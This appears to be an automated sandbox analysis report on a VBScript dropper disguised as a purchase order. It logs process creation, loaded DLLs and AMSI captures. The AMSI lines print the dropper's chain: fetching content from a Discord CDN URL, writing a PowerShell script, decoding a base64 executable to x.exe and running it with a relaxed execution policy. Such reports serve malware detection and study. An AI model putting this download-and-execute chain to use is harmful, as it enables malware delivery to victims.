Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: x.exe.1.dr, -----------------------------------------.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 1.2.powershell.exe.1efd11c4300.0.raw.unpack, -----------------------------------------.cs	Cryptographic APIs: 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.expl.evad.winVBS@11/7@1/1

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fore[1].ps1

Source: C:\Users\user\AppData\Local\Temp\x.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4408:120:WilError_03

Source: C:\Windows\System32\wscript.exe

File created: C:\Temp\dddddd.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO_11171111221.Vbs.vbs"

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: PO_11171111221.Vbs.vbs

Virustotal: Detection: 14%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\PO_11171111221.Vbs.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\x.exe "C:\Users\user\AppData\Local\Temp\x.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\x.exe	Section loaded: cryptbase.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

VBScript performs obfuscated calls to suspicious functions

Source:	Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 00000005.00000002.1998243490.0000000001050000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aspnet_compiler.exe, aspnet_compiler.exe, 00000005.00000002.1998243490.0000000001050000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: VXCVNXC233.pdb source: powershell.exe, 00000001.00000002.1763331017.000001EFD100D000.00000004.00000800.00020000.00000000.sdmp, x.exe.1.dr

Data Obfuscation

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateTextFile("C:\Temp\dddddd.ps1", "true");IServerXMLHTTPRequest2.responseText();ITextStream.Write("$p=[IO.Path]::Combine($env:TEMP,"x.exe")[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdC");ITextStream.Close();IFileSystem3.FolderExists("C:\Temp");IFileSystem3.CreateFolder("C:\Temp");IServerXMLHTTPRequest2.open("GET", "https://cdn.discordapp.com/attachments/1295304757166080020/1316923696", "false");IServerXMLHTTPRequest2.send();IServerXMLHTTPRequest2.status();IFileSystem3.FileExists("C:\Temp\dddddd.ps1");IFileSystem3.CreateTextFile("C:\Temp\dddddd.ps1", "true");IServerXMLHTTPRequest2.responseText();ITextStream.Write("$p=[IO.Path]::Combine($env:TEMP,"x.exe")[IO.File]::WriteAllBytes($p,[Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdC");ITextStream.Close();IWshShell3.Run("PowerShell -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.", "0", "true")

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAE

Source: x.exe.1.dr

Static PE information: 0xA609CD46 [Wed Apr 10 10:30:30 2058 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_004119DD push edx; ret	5_2_004119DE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00403270 push eax; ret	5_2_00403272
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0040D389 push edi; ret	5_2_0040D38A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00413DCC push ebx; iretd	5_2_00413DDD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00413DD3 push ebx; iretd	5_2_00413DDD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0041F6D6 push ds; ret	5_2_0041F6D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0041F7F4 push ebx; ret	5_2_0041F7F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010809AD push ecx; mov dword ptr [esp], ecx	5_2_010809B6

Source: x.exe.1.dr

Static PE information: section name: .text entropy: 7.915163773280565

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Jump to dropped file

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
